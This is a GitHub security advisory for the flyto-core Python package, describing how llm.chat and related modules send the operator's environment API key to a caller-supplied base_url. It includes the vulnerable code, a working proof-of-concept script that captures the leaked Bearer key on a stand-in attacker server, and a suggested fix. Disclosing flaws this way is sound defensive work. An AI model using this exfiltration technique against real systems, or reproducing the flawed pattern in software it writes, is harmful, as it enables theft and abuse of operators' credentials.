GHSA-QQ9Q-XGM3-XV9G

Vulnerability from github – Published: 2026-07-30 14:47 – Updated: 2026-07-30 14:47
VLAI
Summary
Flyto2 Core: LLM/API keys leak to an attacker-controlled base_url
Details

Summary

llm.chat reads the operator's provider key from the environment (OPENAI_API_KEY, ANTHROPIC_API_KEY, ...) and sends it in the Authorization: Bearer header to base_url, a parameter the caller controls. base_url is only checked against the SSRF guard, and the guard allows any public host, so pointing base_url at an attacker's server hands them the operator's key. flyto-core's own bounty scale rates "environment access exposing secrets (e.g. ANTHROPIC_API_KEY)" as High.

Affected code

src/core/modules/atomic/llm/chat.py (_call_openai):

base_url = params.get('base_url')            # caller-controlled
if base_url:
    validate_url_with_env_config(base_url)    # SSRF check only; a public attacker host passes
if not api_key:
    api_key = os.getenv('OPENAI_API_KEY')     # operator's key
...
url = (base_url or "https://api.openai.com/v1").rstrip('/') + "/chat/completions"
headers = {"Authorization": f"Bearer {api_key}"}
await client.post(url, headers=headers, json=payload)   # sent to base_url

The same wiring (env key plus caller endpoint) exists in ai.model (which does not even SSRF-check base_url), llm.agent, and vector.connector (QDRANT_API_KEY with a caller url). The SSRF guard is the wrong control here: it stops private targets but does nothing about the key being sent to an attacker's public host.

Reproduction

Save as keyexfil_poc.py, run with PYTHONPATH=src/src python keyexfil_poc.py. It sets an operator key in the environment and points base_url at a local capture server.

#!/usr/bin/env python3
import asyncio
import os
import threading
from http.server import BaseHTTPRequestHandler, HTTPServer

os.environ["OPENAI_API_KEY"] = "sk-OPERATOR-SECRET-doNotLeak-9f8e7d6c5b4a"
os.environ["FLYTO_ALLOWED_HOSTS"] = "localhost"   # stand-in for the attacker's public host
CAPTURED = {}

class Attacker(BaseHTTPRequestHandler):
    def do_POST(self):
        CAPTURED["auth"] = self.headers.get("Authorization")
        ln = int(self.headers.get("Content-Length", 0)); self.rfile.read(ln)
        b = b'{"choices":[{"message":{"content":"pwned"},"finish_reason":"stop"}],"usage":{"total_tokens":1}}'
        self.send_response(200); self.send_header("Content-Type", "application/json")
        self.send_header("Content-Length", str(len(b))); self.end_headers(); self.wfile.write(b)
    def log_message(self, *a): pass

async def main():
    from core.modules.atomic import register_all
    from core.modules.registry import ModuleRegistry
    register_all()
    threading.Thread(target=HTTPServer(("127.0.0.1", 8080), Attacker).serve_forever, daemon=True).start()
    res = await ModuleRegistry.execute("llm.chat", params={
        "prompt": "hi", "provider": "openai", "base_url": "http://localhost:8080",
    }, context={})
    print("module ok:", res.get("ok"))
    print("Authorization received by attacker:", CAPTURED.get("auth"))

if __name__ == "__main__":
    asyncio.run(main())

Output:

module ok: True
Authorization received by attacker: Bearer sk-OPERATOR-SECRET-doNotLeak-9f8e7d6c5b4a

Confirmed against the running API as well: calling llm.chat with base_url=https://example.com was not blocked by the SSRF guard, so the request egressed to the public host with the operator key attached.

Impact

Theft of the operator's cloud LLM / vector-DB keys, which lets the attacker bill and abuse those accounts and reach data available to the key. The caller only needs to influence base_url, which is reachable through the MCP agent surface or the hosted API.

Suggested fix

Only use the environment-derived key with the provider's official endpoint. If the caller supplies a custom base_url, require them to supply the api_key explicitly too, or check base_url against an allowlist of trusted endpoints — never auto-attach the operator's secret to an arbitrary host. Apply the same to ai.model, llm.agent and vector.connector, and add SSRF validation to ai.model's base_url.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "flyto-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.26.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-67425"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-201",
      "CWE-522"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-30T14:47:16Z",
    "nvd_published_at": "2026-07-29T19:16:51Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\n`llm.chat` reads the operator\u0027s provider key from the environment (`OPENAI_API_KEY`, `ANTHROPIC_API_KEY`, ...) and sends it in the `Authorization: Bearer` header to `base_url`, a parameter the caller controls. `base_url` is only checked against the SSRF guard, and the guard allows any public host, so pointing `base_url` at an attacker\u0027s server hands them the operator\u0027s key. flyto-core\u0027s own bounty scale rates \"environment access exposing secrets (e.g. `ANTHROPIC_API_KEY`)\" as High.\n\n## Affected code\n\n`src/core/modules/atomic/llm/chat.py` (`_call_openai`):\n\n```python\nbase_url = params.get(\u0027base_url\u0027)            # caller-controlled\nif base_url:\n    validate_url_with_env_config(base_url)    # SSRF check only; a public attacker host passes\nif not api_key:\n    api_key = os.getenv(\u0027OPENAI_API_KEY\u0027)     # operator\u0027s key\n...\nurl = (base_url or \"https://api.openai.com/v1\").rstrip(\u0027/\u0027) + \"/chat/completions\"\nheaders = {\"Authorization\": f\"Bearer {api_key}\"}\nawait client.post(url, headers=headers, json=payload)   # sent to base_url\n```\n\nThe same wiring (env key plus caller endpoint) exists in `ai.model` (which does not even SSRF-check `base_url`), `llm.agent`, and `vector.connector` (`QDRANT_API_KEY` with a caller `url`). The SSRF guard is the wrong control here: it stops private targets but does nothing about the key being sent to an attacker\u0027s public host.\n\n## Reproduction\n\nSave as `keyexfil_poc.py`, run with `PYTHONPATH=src/src python keyexfil_poc.py`. It sets an operator key in the environment and points `base_url` at a local capture server.\n\n```python\n#!/usr/bin/env python3\nimport asyncio\nimport os\nimport threading\nfrom http.server import BaseHTTPRequestHandler, HTTPServer\n\nos.environ[\"OPENAI_API_KEY\"] = \"sk-OPERATOR-SECRET-doNotLeak-9f8e7d6c5b4a\"\nos.environ[\"FLYTO_ALLOWED_HOSTS\"] = \"localhost\"   # stand-in for the attacker\u0027s public host\nCAPTURED = {}\n\nclass Attacker(BaseHTTPRequestHandler):\n    def do_POST(self):\n        CAPTURED[\"auth\"] = self.headers.get(\"Authorization\")\n        ln = int(self.headers.get(\"Content-Length\", 0)); self.rfile.read(ln)\n        b = b\u0027{\"choices\":[{\"message\":{\"content\":\"pwned\"},\"finish_reason\":\"stop\"}],\"usage\":{\"total_tokens\":1}}\u0027\n        self.send_response(200); self.send_header(\"Content-Type\", \"application/json\")\n        self.send_header(\"Content-Length\", str(len(b))); self.end_headers(); self.wfile.write(b)\n    def log_message(self, *a): pass\n\nasync def main():\n    from core.modules.atomic import register_all\n    from core.modules.registry import ModuleRegistry\n    register_all()\n    threading.Thread(target=HTTPServer((\"127.0.0.1\", 8080), Attacker).serve_forever, daemon=True).start()\n    res = await ModuleRegistry.execute(\"llm.chat\", params={\n        \"prompt\": \"hi\", \"provider\": \"openai\", \"base_url\": \"http://localhost:8080\",\n    }, context={})\n    print(\"module ok:\", res.get(\"ok\"))\n    print(\"Authorization received by attacker:\", CAPTURED.get(\"auth\"))\n\nif __name__ == \"__main__\":\n    asyncio.run(main())\n```\n\nOutput:\n\n```\nmodule ok: True\nAuthorization received by attacker: Bearer sk-OPERATOR-SECRET-doNotLeak-9f8e7d6c5b4a\n```\n\nConfirmed against the running API as well: calling `llm.chat` with `base_url=https://example.com` was not blocked by the SSRF guard, so the request egressed to the public host with the operator key attached.\n\n## Impact\n\nTheft of the operator\u0027s cloud LLM / vector-DB keys, which lets the attacker bill and abuse those accounts and reach data available to the key. The caller only needs to influence `base_url`, which is reachable through the MCP agent surface or the hosted API.\n\n## Suggested fix\n\nOnly use the environment-derived key with the provider\u0027s official endpoint. If the caller supplies a custom `base_url`, require them to supply the `api_key` explicitly too, or check `base_url` against an allowlist of trusted endpoints \u2014 never auto-attach the operator\u0027s secret to an arbitrary host. Apply the same to `ai.model`, `llm.agent` and `vector.connector`, and add SSRF validation to `ai.model`\u0027s `base_url`.",
  "id": "GHSA-qq9q-xgm3-xv9g",
  "modified": "2026-07-30T14:47:16Z",
  "published": "2026-07-30T14:47:16Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/flytohub/flyto-core/security/advisories/GHSA-qq9q-xgm3-xv9g"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-67425"
    },
    {
      "type": "WEB",
      "url": "https://github.com/flytohub/flyto-core/commit/d5f89d71303e3c1e6418d347c5c55fcd173cc8cc"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/flytohub/flyto-core"
    },
    {
      "type": "WEB",
      "url": "https://github.com/flytohub/flyto-core/releases/tag/v2.26.6"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Flyto2 Core: LLM/API keys leak to an attacker-controlled base_url"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…

Loading…